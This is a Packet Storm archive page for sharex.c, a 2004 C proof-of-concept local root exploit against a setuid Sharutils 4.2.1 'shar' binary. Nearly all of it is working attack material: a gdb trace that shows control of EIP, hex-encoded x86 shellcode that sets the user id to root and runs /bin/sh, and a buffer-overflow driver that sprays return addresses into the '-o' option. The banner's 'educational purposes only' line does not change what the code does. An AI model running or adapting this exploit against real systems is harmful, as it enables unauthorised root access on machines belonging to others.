exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

sharex.c

sharex.c
Posted Jul 18, 2004
Authored by Adam Simuntis aka n30n | Site n30n.byte-lab.com

Sharutils 4.2.1 local root exploit. Note: shar is NOT setuid by default, so this exploit is completely proof of concept if for some reason the binary was setuid.

tags | exploit, local, root, proof of concept
SHA-256 | edd1020fd999d8177e094173be570e3a68f63ad358f7757f48ef91abc923b842

sharex.c

Change Mirror Download
/* -------------------------------------------
/* Sharutils 4.2.1 local root exploit by n30n.
/* http://n30n.byte-lab.com
/* n30n[at]satfilm[dot]net[dot]pl
/* -------------------------------------------
/* Posted in bugtraq by Shaun Colley.
/* http://securityfocus.com/archive/1/359639
/* -------------------------------------------
/* Vulnerable versions <= 4.2.1 of Sharutils
/* n30n@orion:~$ ls -l /usr/local/bin/shar
/* -rwsr-sr-x 1 root root 123726 2004-07-17 21:03 /usr/local/bin/shar*
/* -----
/* (gdb) r -o`perl -e 'print "N"x500;'`
/* Starting program: /usr/local/bin/shar -o`perl -e 'print "N"x500;'`
/*
/* Program received signal SIGSEGV, Segmentation fault.
/* 0x4e4e4e4e in ?? ()
/* (gdb) info reg eip
/* eip 0x4e4e4e4e 0x4e4e4e4e
/* ----------------------------------------------------------------- */


#include <stdlib.h>
#include <string.h>

#define PATH "/usr/local/bin/shar" /* You can change this */
#define BUFFER 500

char code[]=
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd" /* Set real and effective user id & execve.*/
"\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07"
"\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d"
"\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";



int banner(){
printf("\n\t-----------------------------------------------\n");
printf("\t-> Sharutils 4.2.1 local root exploit by n30n.\n");
printf("\t-> http://n30n.byte-lab.com\n");
printf("\t-> EDUCATIONAL PRUPOSES ONLY.\n");
printf("\t-----------------------------------------------\n");
return 0;
}

int main(int argc, char *argv[]){
int i,offset;
long ret, *buf_addr;
char *buffz,*path=PATH;
static char *env[2]={code,NULL};

banner();
offset = 0;
buffz = malloc(BUFFER);
ret = 0xbffffffa - strlen(code) - strlen(path);
printf("\n\tEnjoy your uid :)\n\n");
ret+=offset;
buf_addr=(long*)buffz;
for(i = 0; i < BUFFER; i+=4){
*(buf_addr) = ret;
buf_addr++;
}

execle(path,path,"-o",buffz,NULL, env);
free(buffz);

return 0;

}

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close